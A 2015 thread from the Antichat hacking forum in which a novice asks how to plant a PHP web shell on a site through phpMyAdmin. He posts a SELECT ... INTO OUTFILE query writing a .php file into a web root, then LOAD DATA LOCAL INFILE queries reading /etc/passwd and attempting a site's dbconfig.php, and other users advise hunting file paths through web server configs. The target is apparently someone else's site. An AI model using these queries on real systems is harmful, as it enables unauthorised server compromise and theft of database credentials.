Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Как залить шелл через PMA? (https://forum.antichat.xyz/showthread.php?t=434936)

Edward007 24.12.2015 20:49

Вообщем дело такое, я уже и гуглил, и у знакомых спрашивал, никто ничего не знает.

Возможно ли как-то разрешить File_priv через саму бд?

Выполняю запрос: SELECT shell FROM `shell` INTO OUTFILE '/blablabla/data/www/site.ru.su/22.php';

И скули выбивает ошибку: #1045 - Access denied for user 'shopsof'@'%' (using password: YES)

Можно ли что-то сделать в этой ситуации?

faza02 25.12.2015 00:43

думаю, нет. максимум, что возможно - чтение файлов: https://rdot.org/forum/showthread.php?t=741

Edward007 25.12.2015 00:54

Очень жаль :С

Edward007 25.12.2015 00:57

Цитата:

Сообщение от yarbabin

думаю, нет. максимум, что возможно - чтение файлов:
https://rdot.org/forum/showthread.php?t=741

Я новичок в этой сфере, не понимаю что делать дальше.

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'

Выдало:

Добавлено 2 строки.

Идентификатор вставленной строки: 945 ( Запрос занял 0.0004 сек. )

Что дальше?

faza02 25.12.2015 11:39

таблицу test посмотрите

Edward007 25.12.2015 12:06

Цитата:

Сообщение от yarbabin

таблицу test посмотрите

Вбил так:

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n'

Зашел в табл, там такое:

http://i.imgur.com/YBBXi0U.png

Пытаюсь dbconfig.php открыть:

LOAD DATA LOCAL INFILE '/www/xxx.su/engine/data/dbconfig.php' INTO TABLE test FIELDS TERMINATED BY '\n'

Скули выбивает:

#2 - File '/www/xxx.su/engine/data/dbconfig.php' not found (Errcode: 2 "No such file or directory")

Что делать?

faza02 25.12.2015 19:16

в ошибке вам говорят, что путь неверный. ищите пути. раскрытие, чтение конфигов веб-серера, вот это все

5maks5 25.12.2015 20:13

Шел 2015 год, PHP 7 лежал в репозитории на GitHub, а люди все еще использовали MySQL 5.5 с FILE_PRIV=Y.

К чему это я?

Где вы откапываете этих мастодонтов?

faza02 25.12.2015 20:50

да кому это интересно - апдейты делать?

Edward007 25.12.2015 21:21

Цитата:

Сообщение от yarbabin

в ошибке вам говорят, что путь неверный. ищите пути. раскрытие, чтение конфигов веб-серера, вот это все

Можно пример, как можно найти пути?

В этой сфере я слаб...


Время: 11:07